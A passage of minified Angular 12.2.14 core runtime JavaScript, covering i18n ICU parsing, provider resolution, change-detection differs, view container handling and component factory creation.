e,n,i="",s=0,r=!1;for(;null!==(e=Ua.exec(t));)r?e[0]===`\ufffd/*${n}\ufffd`&&(s=e.index,r=!1):(i+=t.substring(s,e.index+e[0].length),n=e[1],r=!0);return i+=t.substr(s),i}function $a(t,e,n,i,s,r){let o=0;const a={type:s.type,currentCaseLViewIndex:$s(t,e,1,null),anchorIdx:r,cases:[],create:[],remove:[],update:[]};(function(t,e,n){t.push(Ya(e.mainBinding),2,-1-e.mainBinding,n<<2|2)})(n,s,r),function(t,e,n){const i=t.data[e];null===i?t.data[e]=n:i.value=n}(t,r,a);const c=s.values;for(let l=0;l<c.length;l++){const r=c[l],u=[];for(let t=0;t<r.length;t++){const e=r[t];if("string"!=typeof e){const n=u.push(e)-1;r[t]=`\x3c!--\ufffd${n}\ufffd--\x3e`}}o=Wa(t,a,e,n,i,s.cases[l],r.join(""),u)|o}o&&function(t,e,n){t.push(e,1,n<<2|3)}(n,o,r)}function za(t){const e=[],n=[];let i=1,s=0;const r=Za(t=t.replace(Fa,function(t,e,n){return i="select"===n?0:1,s=parseInt(e.substr(1),10),""}));for(let o=0;o<r.length;){let t=r[o++].trim();1===i&&(t=t.replace(/\s*(?:=)?(\w+)\s*/,"$1")),t.length&&e.push(t);const s=Za(r[o++]);e.length>n.length&&n.push(s)}return{type:i,mainBinding:s,cases:e,values:n}}function Za(t){if(!t)return[];let e=0;const n=[],i=[],s=/[{}]/g;let r;for(s.lastIndex=0;r=s.exec(t);){const s=r.index;if("}"==r[0]){if(n.pop(),0==n.length){const n=t.substring(e,s);Fa.test(n)?i.push(za(n)):i.push(n),e=s+1}}else{if(0==n.length){const n=t.substring(e,s);i.push(n),e=s+1}n.push("{")}}const o=t.substring(e);return i.push(o),i}function Wa(t,e,n,i,s,r,o,a){const c=[],l=[],u=[];e.cases.push(r),e.create.push(c),e.remove.push(l),e.update.push(u);const h=ii(At()).getInertBodyElement(o),d=ki(h)||h;return d?Ja(t,e,n,i,c,l,u,d,s,a,0):0}function Ja(t,e,n,i,s,r,o,a,c,l,u){let h=0,d=a.firstChild;for(;d;){const a=$s(t,n,1,null);switch(d.nodeType){case Node.ELEMENT_NODE:const p=d,f=p.tagName.toLowerCase();if(mi.hasOwnProperty(f)){Xa(s,wa,f,c,a),t.data[a]=f;const m=p.attributes;for(let t=0;t<m.length;t++){const e=m.item(t),n=e.name.toLowerCase();e.value.match(La)?vi.hasOwnProperty(n)&&Ga(o,e.value,a,e.name,0,gi[n]?ci:_i[n]?li:null):tc(s,a,e)}h=Ja(t,e,n,i,s,r,o,d,a,l,u+1)|h,Qa(r,a,u)}break;case Node.TEXT_NODE:const m=d.textContent||"",g=m.match(La);Xa(s,null,g?"":m,c,a),Qa(r,a,u),g&&(h=Ga(o,m,a,null,0,null)|h);break;case Node.COMMENT_NODE:const _=Ma.exec(d.textContent||"");if(_){const e=l[parseInt(_[1],10)];Xa(s,xa,"",c,a),$a(t,n,i,c,e,a),Ka(r,a,u)}}d=d.nextSibling}return h}function Qa(t,e,n){0===n&&t.push(e)}function Ka(t,e,n){0===n&&(t.push(~e),t.push(e))}function Xa(t,e,n,i,s){null!==e&&t.push(e),t.push(n,s,function(t,e,n){return 0|e<<17|n<<1}(0,i,s))}function tc(t,e,n){t.push(e<<1|1,n.name,n.value)}function ec(t,e,n=-1){const i=qt(),s=Yt(),r=20+t,o=Bt(i.consts,e),a=Wt();i.firstCreatePass&&function(t,e,n,i,s,r){const o=Wt(),a=[],c=[],l=[[]],u=function(t){return t.replace(ja," ")}(s=function(t,e){if(function(t){return-1===t}(e))return qa(t);{const n=t.indexOf(`:${e}\ufffd`)+2+e.toString().length,i=t.search(new RegExp(`\ufffd\\/\\*\\d+:${e}\ufffd`));return qa(t.substring(n,i))}}(s,r)).split(Ba);for(let h=0;h<u.length;h++){let i=u[h];if(0==(1&h)){const r=Za(i);for(let i=0;i<r.length;i++){let u=r[i];if(0==(1&i)){const e=u;""!==e&&Va(t,o,l[0],a,c,n,e)}else{const i=u;if("object"!=typeof i)throw new Error(`Unable to parse ICU expression in "${s}" message.`);$a(t,n,c,e,i,Ha(t,o,l[0],n,a,"",!0).index)}}}else{const e=47===i.charCodeAt(0),n=(i.charCodeAt(e?1:0),20+Number.parseInt(i.substring(e?2:1)));if(e)l.shift(),Jt(Wt(),!1);else{const e=Na(t,l[0],n);l.unshift([]),Jt(e,!0)}}}t.data[i]={create:a,update:c}}(i,null===a?0:a.index,s,r,o,n);const c=i.data[r],l=ns(i,a===s[6]?null:a,s);(function(t,e,n,i){const s=t[lt];for(let r=0;r<e.length;r++){const o=e[r++],a=e[r],c=(o&Ca.COMMENT)===Ca.COMMENT,l=(o&Ca.APPEND_EAGERLY)===Ca.APPEND_EAGERLY,u=o>>>Ca.SHIFT;let h=t[u];null===h&&(h=t[u]=c?s.createComment(a):Wi(s,a)),l&&null!==n&&is(s,n,h,i,!1)}})(s,c.create,l,a&&8&a.type?s[a.index]:null),re(!0)}function nc(){re(!1)}function ic(t,e,n){ec(t,e,n),nc()}function sc(t,e,n,i,s){if(t=f(t),Array.isArray(t))for(let r=0;r<t.length;r++)sc(t[r],e,n,i,s);else{const r=qt(),o=Yt();let a=$r(t)?t:f(t.provide),c=Gr(t);const l=zt(),u=1048575&l.providerIndexes,h=l.directiveStart,d=l.providerIndexes>>20;if($r(t)||!t.multi){const i=new Oe(c,s,fo),p=ac(a,e,s?u:u+d,h);-1===p?($e(Ve(l,o),r,a),rc(r,t,e.length),e.push(a),l.directiveStart++,l.directiveEnd++,s&&(l.providerIndexes+=1048576),n.push(i),o.push(i)):(n[p]=i,o[p]=i)}else{const p=ac(a,e,u+d,h),f=ac(a,e,u,u+d),m=p>=0&&n[p],g=f>=0&&n[f];if(s&&!g||!s&&!m){$e(Ve(l,o),r,a);const u=function(t,e,n,i,s){const r=new Oe(t,n,fo);return r.multi=[],r.index=e,r.componentProviders=0,oc(r,s,i&&!n),r}(s?lc:cc,n.length,s,i,c);!s&&g&&(n[f].providerFactory=u),rc(r,t,e.length,0),e.push(a),l.directiveStart++,l.directiveEnd++,s&&(l.providerIndexes+=1048576),n.push(u),o.push(u)}else rc(r,t,p>-1?p:f,oc(n[s?f:p],c,!s&&i));!s&&i&&g&&n[f].componentProviders++}}}function rc(t,e,n,i){const s=$r(e);if(s||function(t){return!!t.useClass}(e)){const r=(e.useClass||e).prototype.ngOnDestroy;if(r){const o=t.destroyHooks||(t.destroyHooks=[]);if(!s&&e.multi){const t=o.indexOf(n);-1===t?o.push(n,[i,r]):o[t+1].push(i,r)}else o.push(n,r)}}}function oc(t,e,n){return n&&t.componentProviders++,t.multi.push(e)-1}function ac(t,e,n,i){for(let s=n;s<i;s++)if(e[s]===t)return s;return-1}function cc(t,e,n,i){return uc(this.multi,[])}function lc(t,e,n,i){const s=this.multi;let r;if(this.providerFactory){const t=this.providerFactory.componentProviders,e=tn(n,n[1],this.providerFactory.index,i);r=e.slice(0,t),uc(s,r);for(let n=t;n<e.length;n++)r.push(e[n])}else r=[],uc(s,r);return r}function uc(t,e){for(let n=0;n<t.length;n++)e.push((0,t[n])());return e}function hc(t,e=[]){return n=>{n.providersResolver=(n,i)=>function(t,e,n){const i=qt();if(i.firstCreatePass){const s=mt(t);sc(n,i.data,i.blueprint,s,!0),sc(e,i.data,i.blueprint,s,!1)}}(n,i?i(t):t,e)}}class dc{}const pc="ngComponent";class fc{resolveComponentFactory(t){throw function(t){const e=Error(`No component factory found for ${u(t)}. Did you add it to @NgModule.entryComponents?`);return e[pc]=t,e}(t)}}let mc=(()=>{class t{}return t.NULL=new fc,t})();function gc(...t){}function _c(t,e){return new bc(Nt(t,e))}const vc=function(){return _c(zt(),Yt())};let bc=(()=>{class t{constructor(t){this.nativeElement=t}}return t.__NG_ELEMENT_ID__=vc,t})();function yc(t){return t instanceof bc?t.nativeElement:t}class wc{}let xc=(()=>{class t{}return t.__NG_ELEMENT_ID__=()=>Cc(),t})();const Cc=function(){const t=Yt(),e=Mt(zt().index,t);return function(t){return t[lt]}(ut(e)?e:t)};let Sc=(()=>{class t{}return t.\u0275prov=w({token:t,providedIn:"root",factory:()=>null}),t})();class Ec{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const kc=new Ec("12.2.14");class Tc{constructor(){}supports(t){return so(t)}create(t){return new Ic(t)}}const Ac=(t,e)=>e;class Ic{constructor(t){this.length=0,this._linkedRecords=null,this._unlinkedRecords=null,this._previousItHead=null,this._itHead=null,this._itTail=null,this._additionsHead=null,this._additionsTail=null,this._movesHead=null,this._movesTail=null,this._removalsHead=null,this._removalsTail=null,this._identityChangesHead=null,this._identityChangesTail=null,this._trackByFn=t||Ac}forEachItem(t){let e;for(e=this._itHead;null!==e;e=e._next)t(e)}forEachOperation(t){let e=this._itHead,n=this._removalsHead,i=0,s=null;for(;e||n;){const r=!n||e&&e.currentIndex<Nc(n,i,s)?e:n,o=Nc(r,i,s),a=r.currentIndex;if(r===n)i--,n=n._nextRemoved;else if(e=e._next,null==r.previousIndex)i++;else{s||(s=[]);const t=o-i,e=a-i;if(t!=e){for(let n=0;n<t;n++){const i=n<s.length?s[n]:s[n]=0,r=i+n;e<=r&&r<t&&(s[n]=i+1)}s[r.previousIndex]=e-t}}o!==a&&t(r,o,a)}}forEachPreviousItem(t){let e;for(e=this._previousItHead;null!==e;e=e._nextPrevious)t(e)}forEachAddedItem(t){let e;for(e=this._additionsHead;null!==e;e=e._nextAdded)t(e)}forEachMovedItem(t){let e;for(e=this._movesHead;null!==e;e=e._nextMoved)t(e)}forEachRemovedItem(t){let e;for(e=this._removalsHead;null!==e;e=e._nextRemoved)t(e)}forEachIdentityChange(t){let e;for(e=this._identityChangesHead;null!==e;e=e._nextIdentityChange)t(e)}diff(t){if(null==t&&(t=[]),!so(t))throw new Error(`Error trying to diff '${u(t)}'. Only arrays and iterables are allowed`);return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let e,n,i,s=this._itHead,r=!1;if(Array.isArray(t)){this.length=t.length;for(let e=0;e<this.length;e++)n=t[e],i=this._trackByFn(e,n),null!==s&&Object.is(s.trackById,i)?(r&&(s=this._verifyReinsertion(s,n,i,e)),Object.is(s.item,n)||this._addIdentityChange(s,n)):(s=this._mismatch(s,n,i,e),r=!0),s=s._next}else e=0,function(t,e){if(Array.isArray(t))for(let n=0;n<t.length;n++)e(t[n]);else{const n=t[no()]();let i;for(;!(i=n.next()).done;)e(i.value)}}(t,t=>{i=this._trackByFn(e,t),null!==s&&Object.is(s.trackById,i)?(r&&(s=this._verifyReinsertion(s,t,i,e)),Object.is(s.item,t)||this._addIdentityChange(s,t)):(s=this._mismatch(s,t,i,e),r=!0),s=s._next,e++}),this.length=e;return this._truncate(s),this.collection=t,this.isDirty}get isDirty(){return null!==this._additionsHead||null!==this._movesHead||null!==this._removalsHead||null!==this._identityChangesHead}_reset(){if(this.isDirty){let t;for(t=this._previousItHead=this._itHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._additionsHead;null!==t;t=t._nextAdded)t.previousIndex=t.currentIndex;for(this._additionsHead=this._additionsTail=null,t=this._movesHead;null!==t;t=t._nextMoved)t.previousIndex=t.currentIndex;this._movesHead=this._movesTail=null,this._removalsHead=this._removalsTail=null,this._identityChangesHead=this._identityChangesTail=null}}_mismatch(t,e,n,i){let s;return null===t?s=this._itTail:(s=t._prev,this._remove(t)),null!==(t=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null))?(Object.is(t.item,e)||this._addIdentityChange(t,e),this._reinsertAfter(t,s,i)):null!==(t=null===this._linkedRecords?null:this._linkedRecords.get(n,i))?(Object.is(t.item,e)||this._addIdentityChange(t,e),this._moveAfter(t,s,i)):t=this._addAfter(new Oc(e,n),s,i),t}_verifyReinsertion(t,e,n,i){let s=null===this._unlinkedRecords?null:this._unlinkedRecords.get(n,null);return null!==s?t=this._reinsertAfter(s,t._prev,i):t.currentIndex!=i&&(t.currentIndex=i,this._addToMoves(t,i)),t}_truncate(t){for(;null!==t;){const e=t._next;this._addToRemovals(this._unlink(t)),t=e}null!==this._unlinkedRecords&&this._unlinkedRecords.clear(),null!==this._additionsTail&&(this._additionsTail._nextAdded=null),null!==this._movesTail&&(this._movesTail._nextMoved=null),null!==this._itTail&&(this._itTail._next=null),null!==this._removalsTail&&(this._removalsTail._nextRemoved=null),null!==this._identityChangesTail&&(this._identityChangesTail._nextIdentityChange=null)}_reinsertAfter(t,e,n){null!==this._unlinkedRecords&&this._unlinkedRecords.remove(t);const i=t._prevRemoved,s=t._nextRemoved;return null===i?this._removalsHead=s:i._nextRemoved=s,null===s?this._removalsTail=i:s._prevRemoved=i,this._insertAfter(t,e,n),this._addToMoves(t,n),t}_moveAfter(t,e,n){return this._unlink(t),this._insertAfter(t,e,n),this._addToMoves(t,n),t}_addAfter(t,e,n){return this._insertAfter(t,e,n),this._additionsTail=null===this._additionsTail?this._additionsHead=t:this._additionsTail._nextAdded=t,t}_insertAfter(t,e,n){const i=null===e?this._itHead:e._next;return t._next=i,t._prev=e,null===i?this._itTail=t:i._prev=t,null===e?this._itHead=t:e._next=t,null===this._linkedRecords&&(this._linkedRecords=new Pc),this._linkedRecords.put(t),t.currentIndex=n,t}_remove(t){return this._addToRemovals(this._unlink(t))}_unlink(t){null!==this._linkedRecords&&this._linkedRecords.remove(t);const e=t._prev,n=t._next;return null===e?this._itHead=n:e._next=n,null===n?this._itTail=e:n._prev=e,t}_addToMoves(t,e){return t.previousIndex===e||(this._movesTail=null===this._movesTail?this._movesHead=t:this._movesTail._nextMoved=t),t}_addToRemovals(t){return null===this._unlinkedRecords&&(this._unlinkedRecords=new Pc),this._unlinkedRecords.put(t),t.currentIndex=null,t._nextRemoved=null,null===this._removalsTail?(this._removalsTail=this._removalsHead=t,t._prevRemoved=null):(t._prevRemoved=this._removalsTail,this._removalsTail=this._removalsTail._nextRemoved=t),t}_addIdentityChange(t,e){return t.item=e,this._identityChangesTail=null===this._identityChangesTail?this._identityChangesHead=t:this._identityChangesTail._nextIdentityChange=t,t}}class Oc{constructor(t,e){this.item=t,this.trackById=e,this.currentIndex=null,this.previousIndex=null,this._nextPrevious=null,this._prev=null,this._next=null,this._prevDup=null,this._nextDup=null,this._prevRemoved=null,this._nextRemoved=null,this._nextAdded=null,this._nextMoved=null,this._nextIdentityChange=null}}class Rc{constructor(){this._head=null,this._tail=null}add(t){null===this._head?(this._head=this._tail=t,t._nextDup=null,t._prevDup=null):(this._tail._nextDup=t,t._prevDup=this._tail,t._nextDup=null,this._tail=t)}get(t,e){let n;for(n=this._head;null!==n;n=n._nextDup)if((null===e||e<=n.currentIndex)&&Object.is(n.trackById,t))return n;return null}remove(t){const e=t._prevDup,n=t._nextDup;return null===e?this._head=n:e._nextDup=n,null===n?this._tail=e:n._prevDup=e,null===this._head}}class Pc{constructor(){this.map=new Map}put(t){const e=t.trackById;let n=this.map.get(e);n||(n=new Rc,this.map.set(e,n)),n.add(t)}get(t,e){const n=this.map.get(t);return n?n.get(t,e):null}remove(t){const e=t.trackById;return this.map.get(e).remove(t)&&this.map.delete(e),t}get isEmpty(){return 0===this.map.size}clear(){this.map.clear()}}function Nc(t,e,n){const i=t.previousIndex;if(null===i)return i;let s=0;return n&&i<n.length&&(s=n[i]),i+e+s}class Dc{constructor(){}supports(t){return t instanceof Map||ro(t)}create(){return new Lc}}class Lc{constructor(){this._records=new Map,this._mapHead=null,this._appendAfter=null,this._previousMapHead=null,this._changesHead=null,this._changesTail=null,this._additionsHead=null,this._additionsTail=null,this._removalsHead=null,this._removalsTail=null}get isDirty(){return null!==this._additionsHead||null!==this._changesHead||null!==this._removalsHead}forEachItem(t){let e;for(e=this._mapHead;null!==e;e=e._next)t(e)}forEachPreviousItem(t){let e;for(e=this._previousMapHead;null!==e;e=e._nextPrevious)t(e)}forEachChangedItem(t){let e;for(e=this._changesHead;null!==e;e=e._nextChanged)t(e)}forEachAddedItem(t){let e;for(e=this._additionsHead;null!==e;e=e._nextAdded)t(e)}forEachRemovedItem(t){let e;for(e=this._removalsHead;null!==e;e=e._nextRemoved)t(e)}diff(t){if(t){if(!(t instanceof Map||ro(t)))throw new Error(`Error trying to diff '${u(t)}'. Only maps and objects are allowed`)}else t=new Map;return this.check(t)?this:null}onDestroy(){}check(t){this._reset();let e=this._mapHead;if(this._appendAfter=null,this._forEach(t,(t,n)=>{if(e&&e.key===n)this._maybeAddToChanges(e,t),this._appendAfter=e,e=e._next;else{const i=this._getOrCreateRecordForKey(n,t);e=this._insertBeforeOrAppend(e,i)}}),e){e._prev&&(e._prev._next=null),this._removalsHead=e;for(let t=e;null!==t;t=t._nextRemoved)t===this._mapHead&&(this._mapHead=null),this._records.delete(t.key),t._nextRemoved=t._next,t.previousValue=t.currentValue,t.currentValue=null,t._prev=null,t._next=null}return this._changesTail&&(this._changesTail._nextChanged=null),this._additionsTail&&(this._additionsTail._nextAdded=null),this.isDirty}_insertBeforeOrAppend(t,e){if(t){const n=t._prev;return e._next=t,e._prev=n,t._prev=e,n&&(n._next=e),t===this._mapHead&&(this._mapHead=e),this._appendAfter=t,t}return this._appendAfter?(this._appendAfter._next=e,e._prev=this._appendAfter):this._mapHead=e,this._appendAfter=e,null}_getOrCreateRecordForKey(t,e){if(this._records.has(t)){const n=this._records.get(t);this._maybeAddToChanges(n,e);const i=n._prev,s=n._next;return i&&(i._next=s),s&&(s._prev=i),n._next=null,n._prev=null,n}const n=new Mc(t);return this._records.set(t,n),n.currentValue=e,this._addToAdditions(n),n}_reset(){if(this.isDirty){let t;for(this._previousMapHead=this._mapHead,t=this._previousMapHead;null!==t;t=t._next)t._nextPrevious=t._next;for(t=this._changesHead;null!==t;t=t._nextChanged)t.previousValue=t.currentValue;for(t=this._additionsHead;null!=t;t=t._nextAdded)t.previousValue=t.currentValue;this._changesHead=this._changesTail=null,this._additionsHead=this._additionsTail=null,this._removalsHead=null}}_maybeAddToChanges(t,e){Object.is(e,t.currentValue)||(t.previousValue=t.currentValue,t.currentValue=e,this._addToChanges(t))}_addToAdditions(t){null===this._additionsHead?this._additionsHead=this._additionsTail=t:(this._additionsTail._nextAdded=t,this._additionsTail=t)}_addToChanges(t){null===this._changesHead?this._changesHead=this._changesTail=t:(this._changesTail._nextChanged=t,this._changesTail=t)}_forEach(t,e){t instanceof Map?t.forEach(e):Object.keys(t).forEach(n=>e(t[n],n))}}class Mc{constructor(t){this.key=t,this.previousValue=null,this.currentValue=null,this._nextPrevious=null,this._next=null,this._prev=null,this._nextAdded=null,this._nextRemoved=null,this._nextChanged=null}}function Fc(){return new Uc([new Tc])}let Uc=(()=>{class t{constructor(t){this.factories=t}static create(e,n){if(null!=n){const t=n.factories.slice();e=e.concat(t)}return new t(e)}static extend(e){return{provide:t,useFactory:n=>t.create(e,n||Fc()),deps:[[t,new Un,new Fn]]}}find(t){const e=this.factories.find(e=>e.supports(t));if(null!=e)return e;throw new Error(`Cannot find a differ supporting object '${t}' of type '${function(t){return t.name||typeof t}(t)}'`)}}return t.\u0275prov=w({token:t,providedIn:"root",factory:Fc}),t})();function Bc(){return new jc([new Dc])}let jc=(()=>{class t{constructor(t){this.factories=t}static create(e,n){if(n){const t=n.factories.slice();e=e.concat(t)}return new t(e)}static extend(e){return{provide:t,useFactory:n=>t.create(e,n||Bc()),deps:[[t,new Un,new Fn]]}}find(t){const e=this.factories.find(e=>e.supports(t));if(e)return e;throw new Error(`Cannot find a differ supporting object '${t}'`)}}return t.\u0275prov=w({token:t,providedIn:"root",factory:Bc}),t})();function Hc(t,e,n,i,s=!1){for(;null!==n;){const r=e[n.index];if(null!==r&&i.push(Rt(r)),ht(r))for(let t=10;t<r.length;t++){const e=r[t],n=e[1].firstChild;null!==n&&Hc(e[1],e,n,i)}const o=n.type;if(8&o)Hc(t,e,n.child,i);else if(32&o){const t=Gi(n,e);let s;for(;s=t();)i.push(s)}else if(16&o){const t=fs(e,n);if(Array.isArray(t))i.push(...t);else{const n=Yi(e[16]);Hc(n[1],n,t,i,!0)}}n=s?n.projectionNext:n.next}return i}class Vc{constructor(t,e){this._lView=t,this._cdRefInjectingView=e,this._appRef=null,this._attachedToViewContainer=!1}get rootNodes(){const t=this._lView,e=t[1];return Hc(e,t,e.firstChild,[])}get context(){return this._lView[8]}set context(t){this._lView[8]=t}get destroyed(){return 256==(256&this._lView[2])}destroy(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){const t=this._lView[3];if(ht(t)){const e=t[8],n=e?e.indexOf(this):-1;n>-1&&(Ki(t,n),gn(e,n))}this._attachedToViewContainer=!1}Xi(this._lView[1],this._lView)}onDestroy(t){nr(this._lView[1],this._lView,null,t)}markForCheck(){wr(this._cdRefInjectingView||this._lView)}detach(){this._lView[2]&=-129}reattach(){this._lView[2]|=128}detectChanges(){xr(this._lView[1],this._lView,this.context)}checkNoChanges(){!function(t,e,n){te(!0);try{xr(t,e,n)}finally{te(!1)}}(this._lView[1],this._lView,this.context)}attachToViewContainerRef(){if(this._appRef)throw new Error("This view is already attached directly to the ApplicationRef!");this._attachedToViewContainer=!0}detachFromAppRef(){var t;this._appRef=null,_s(this._lView[1],t=this._lView,t[lt],2,null,null)}attachToAppRef(t){if(this._attachedToViewContainer)throw new Error("This view is already attached to a ViewContainer!");this._appRef=t}}class Gc extends Vc{constructor(t){super(t),this._view=t}detectChanges(){Cr(this._view)}checkNoChanges(){!function(t){te(!0);try{Cr(t)}finally{te(!1)}}(this._view)}get context(){return null}}const Yc=function(t){return function(t,e,n){if(pt(t)&&!n){const n=Mt(t.index,e);return new Vc(n,n)}return 47&t.type?new Vc(e[16],e):null}(zt(),Yt(),16==(16&t))};let qc=(()=>{class t{}return t.__NG_ELEMENT_ID__=Yc,t})();const $c=[new Dc],zc=new Uc([new Tc]),Zc=new jc($c),Wc=function(){return Xc(zt(),Yt())};let Jc=(()=>{class t{}return t.__NG_ELEMENT_ID__=Wc,t})();const Qc=Jc,Kc=class extends Qc{constructor(t,e,n){super(),this._declarationLView=t,this._declarationTContainer=e,this.elementRef=n}createEmbeddedView(t){const e=this._declarationTContainer.tViews,n=Gs(this._declarationLView,e,t,16,null,e.declTNode,null,null,null,null);n[17]=this._declarationLView[this._declarationTContainer.index];const i=this._declarationLView[19];return null!==i&&(n[19]=i.createEmbeddedView(e)),zs(e,n,t),new Vc(n)}};function Xc(t,e){return 4&t.type?new Kc(e,t,_c(t,e)):null}class tl{}class el{}const nl=function(){return cl(zt(),Yt())};let il=(()=>{class t{}return t.__NG_ELEMENT_ID__=nl,t})();const sl=il,rl=class extends sl{constructor(t,e,n){super(),this._lContainer=t,this._hostTNode=e,this._hostLView=n}get element(){return _c(this._hostTNode,this._hostLView)}get injector(){return new sn(this._hostTNode,this._hostLView)}get parentInjector(){const t=qe(this._hostTNode,this._hostLView);if(Me(t)){const e=Ue(t,this._hostLView),n=Fe(t);return new sn(e[1].data[n+8],e)}return new sn(null,this._hostLView)}clear(){for(;this.length>0;)this.remove(this.length-1)}get(t){const e=ol(this._lContainer);return null!==e&&e[t]||null}get length(){return this._lContainer.length-10}createEmbeddedView(t,e,n){const i=t.createEmbeddedView(e||{});return this.insert(i,n),i}createComponent(t,e,n,i,s){const r=n||this.parentInjector;if(!s&&null==t.ngModule&&r){const t=r.get(tl,null);t&&(s=t)}const o=t.create(r,i,void 0,s);return this.insert(o.hostView,e),o}insert(t,e){const n=t._lView,i=n[1];if(ht(n[3])){const e=this.indexOf(t);if(-1!==e)this.detach(e);else{const e=n[3],i=new rl(e,e[6],e[3]);i.detach(i.indexOf(t))}}const s=this._adjustIndex(e),r=this._lContainer;!function(t,e,n,i){const s=10+i,r=n.length;i>0&&(n[s-1][4]=e),i<r-10?(e[4]=n[s],mn(n,10+i,e)):(n.push(e),e[4]=null),e[3]=n;const o=e[17];null!==o&&n!==o&&function(t,e){const n=t[9];e[16]!==e[3][3][16]&&(t[2]=!0),null===n?t[9]=[e]:n.push(e)}(o,e);const a=e[19];null!==a&&a.insertView(t),e[2]|=128}(i,n,r,s);const o=ms(s,r),a=n[lt],c=os(a,r[7]);return null!==c&&function(t,e,n,i,s,r){i[0]=s,i[6]=e,_s(t,i,n,1,s,r)}(i,r[6],a,n,c,o),t.attachToViewContainerRef(),mn(al(r),s,t),t}move(t,e){return this.insert(t,e)}indexOf(t){const e=ol(this._lContainer);return null!==e?e.indexOf(t):-1}remove(t){const e=this._adjustIndex(t,-1),n=Ki(this._lContainer,e);n&&(gn(al(this._lContainer),e),Xi(n[1],n))}detach(t){const e=this._adjustIndex(t,-1),n=Ki(this._lContainer,e);return n&&null!=gn(al(this._lContainer),e)?new Vc(n):null}_adjustIndex(t,e=0){return null==t?this.length+e:t}};function ol(t){return t[8]}function al(t){return t[8]||(t[8]=[])}function cl(t,e){let n;const i=e[t.index];if(ht(i))n=i;else{let s;if(8&t.type)s=Rt(i);else{const n=e[lt];s=n.createComment("");const i=Nt(t,e);is(n,os(n,i),s,function(t,e){return It(t)?t.nextSibling(e):e.nextSibling}(n,i),!1)}e[t.index]=n=gr(i,e,s,t),yr(e,n)}return new rl(n,t,e)}const ll={};class ul extends mc{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const e=at(t);return new pl(e,this.ngModule)}}function hl(t){const e=[];for(let n in t)t.hasOwnProperty(n)&&e.push({propName:t[n],templateName:n});return e}const dl=new un("SCHEDULER_TOKEN",{providedIn:"root",factory:()=>Fi});class pl extends dc{constructor(t,e){super(),this.componentDef=t,this.ngModule=e,this.componentType=t.type,this.selector=t.selectors.map(Ps).join(","),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!e}get inputs(){return hl(this.componentDef.inputs)}get outputs(){return hl(this.componentDef.outputs)}create(t,e,n,i){const s=(i=i||this.ngModule)?function(t,e){return{get:(n,i,s)=>{const r=t.get(n,ll,s);return r!==ll||i===ll?r:e.get(n,i,s)}}}(t,i.injector):t,r=s.get(wc,Ot),o=s.get(Sc,null),a=r.createRenderer(null,this.componentDef),c=this.componentDef.selectors[0][0]||"div",l=n?function(t,e,n){if(It(t))return t.selectRootElement(e,n===M.ShadowDom);let i="string"==typeof e?t.querySelector(e):e;return i.textContent="",i}(a,n,this.componentDef.encapsulation):Ji(r.createRenderer(null,this.componentDef),c,function(t){const e=t.toLowerCase();return"svg"===e?Et:"math"===e?"http://www.w3.org/1998/MathML/":null}(c)),u=this.componentDef.onPush?576:528,h=function(t,e){return{components:[],scheduler:t||Fi,clean:Er,playerHandler:e||null,flags:0}}(),d=er(0,null,null,1,0,null,null,null,null,null),p=Gs(null,d,h,u,null,null,r,a,o,s);let f,m;pe(p);try{const t=function(t,e,n,i,s,r){const o=n[1];n[20]=t;const a=Ys(o,20,2,"#host",null),c=a.mergedAttrs=e.hostAttrs;null!==c&&(Pr(a,c,!0),null!==t&&(Re(s,t,c),null!==a.classes&&ys(s,t,a.classes),null!==a.styles&&bs(s,t,a.styles)));const l=i.createRenderer(t,e),u=Gs(n,tr(e),null,e.onPush?64:16,n[20],a,i,l,r||null,null);return o.firstCreatePass&&($e(Ve(a,n),o,e.type),cr(o,a),ur(a,n.length,1)),yr(n,u),n[20]=u}(l,this.componentDef,p,r,a);if(l)if(n)Re(a,l,["ng-version",kc.full]);else{const{attrs:t,classes:e}=function(t){const e=[],n=[];let i=1,s=2;for(;i<t.length;){let r=t[i];if("string"==typeof r)2===s?""!==r&&e.push(r,t[++i]):8===s&&n.push(r);else{if(!Ts(s))break;s=r}i++}return{attrs:e,classes:n}}(this.componentDef.selectors[0]);t&&Re(a,l,t),e&&e.length>0&&ys(a,l,e.join(" "))}if(m=Dt(d,20),void 0!==e){const t=m.projection=[];for(let n=0;n<this.ngContentSelectors.length;n++){const i=e[n];t.push(null!=i?Array.from(i):null)}}f=function(t,e,n,i,s){const r=n[1],o=function(t,e,n){const i=zt();t.firstCreatePass&&(n.providersResolver&&n.providersResolver(n),hr(t,i,e,$s(t,e,1,null),n));const s=tn(e,t,i.directiveStart,i);Pi(s,e);const r=Nt(i,e);return r&&Pi(r,e),s}(r,n,e);if(i.components.push(o),t[8]=o,s&&s.forEach(t=>t(o,e)),e.contentQueries){const t=zt();e.contentQueries(1,o,t.directiveStart)}const a=zt();return!r.firstCreatePass||null===e.hostBindings&&null===e.hostAttrs||(ye(a.index),or(n[1],a,0,a.directiveStart,a.directiveEnd,e),ar(e,o)),o}(t,this.componentDef,p,h,[Wr]),zs(d,p,null)}finally{ve()}return new fl(this.componentType,f,_c(m,p),p,m)}}class fl extends class{}{constructor(t,e,n,i,s){super(),this.location=n,this._rootLView=i,this._tNode=s,this.instance=e,this.hostView=this.changeDetectorRef=new Gc(i),this.componentType=t}get injector(){return new sn(this._tNode,this._rootLView)}destroy(){this.hostView.destroy()}onDestroy(t){this.hostView.onDestroy(t)}}const ml=new Map;class gl extends tl{constructor(t,e){super(),this._parent=e,this._bootstrapComponents=[],this.injector=this,this.destroyCbs=[],this.componentFactoryResolver=new ul(this);const n=ct(t),i=t[z]||null;i&&Ea(i),this._bootstrapComponents=ji(n.bootstrap),this._r3Injector=jr(t,e,[{provide:tl,useValue:this},{provide:mc,useValue:this.componentFactoryResolver}],u(t)),this._r3Injector._resolveInjectorDefTypes(),this.instance=this.get(t)}get(t,e=Zr.THROW_IF_NOT_FOUND,n=O.Default){return t===Zr||t===tl||t===Nr?this:this._r3Injector.get(t,e,n)}destroy(){const t=this._r3Injector;!t.destroyed&&t.destroy(),this.destroyCbs.forEach(t=>t()),this.destroyCbs=null}onDestroy(t){this.destroyCbs.push(t)}}class _l extends 